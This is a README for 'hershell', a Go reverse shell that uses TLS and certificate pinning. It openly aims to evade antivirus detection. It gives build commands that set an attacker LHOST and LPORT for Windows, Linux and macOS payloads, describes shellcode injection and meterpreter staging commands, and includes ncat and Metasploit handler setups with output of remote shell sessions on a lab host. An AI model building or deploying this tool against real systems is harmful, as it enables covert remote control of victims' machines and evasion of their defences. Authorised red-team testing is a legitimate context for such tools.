Simple TCP reverse shell written in Go.
It uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception.
Supported OS are:
- Windows
- Linux
- Mac OS
- FreeBSD and derivatives
Why ?
Although meterpreter payloads are great, they are sometimes spotted by AV products.
The goal of this project is to get a simple reverse shell, which can work on multiple systems.
How ?
Since it's written in Go, you can cross compile the source for the desired architecture.
Getting started & dependencies
As this is a Go project, you will need to follow the official documentation to set up your Golang environment (with the
$GOPATH environment variable).Then, just run
go get github.com/lesnuages/hershell to fetch the project.Building the payload
To simplify things, you can use the provided Makefile. You can set the following environment variables:
GOOS: the target OSGOARCH: the target architectureLHOST: the attacker IP or domain nameLPORT: the listener port
GOOS and GOARCH variables, you can get the allowed values here.However, some helper targets are available in the
Makefile:depends: generate the server certificate (required for the reverse shell)windows32: builds a windows 32 bits executable (PE 32 bits)windows64: builds a windows 64 bits executable (PE 64 bits)linux32: builds a linux 32 bits executable (ELF 32 bits)linux64: builds a linux 64 bits executable (ELF 64 bits)macos32: builds a mac os 32 bits executable (Mach-O)macos64: builds a mac os 64 bits executable (Mach-O)
LHOST and LPORT environment variables.Using the shell
Once executed, you will be provided with a remote shell. This custom interactive shell will allow you to execute system commands through
cmd.exe on Windows, or /bin/sh on UNIX machines.The following special commands are supported:
run_shell: drops you an system shell (allowing you, for example, to change directories)inject <base64 shellcode>: injects a shellcode (base64 encoded) in the same process memory, and executes itmeterpreter [tcp|http|https] IP:PORT: connects to a multi/handler to get a stage2 reverse tcp, http or https meterpreter from metasploit, and execute the shellcode in memory (Windows only at the moment)exit: exit gracefully
Usage
First of all, you will need to generate a valid certificate:
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234$ make macos LHOST=192.168.0.12 LPORT=1234Examples
Basic usage
One can use various tools to handle incomming connections, such as:
- socat
- ncat
- openssl server module
- metasploit multi handler (with a
python/shell_reverse_tcp_sslpayload)
ncat:$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\labMeterpreter staging
WARNING: this currently only work for the Windows platform.
The meterpreter staging currently supports the following payloads :
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_https
To use the meterpreter staging feature, just start your handler:
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.1 6.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >hershell, use the meterpreter command:[hershell]> meterpreter https 172.16.122.105:8443msfconsole:[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/ handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\labCredits
@khast3x for the Dockerfile feature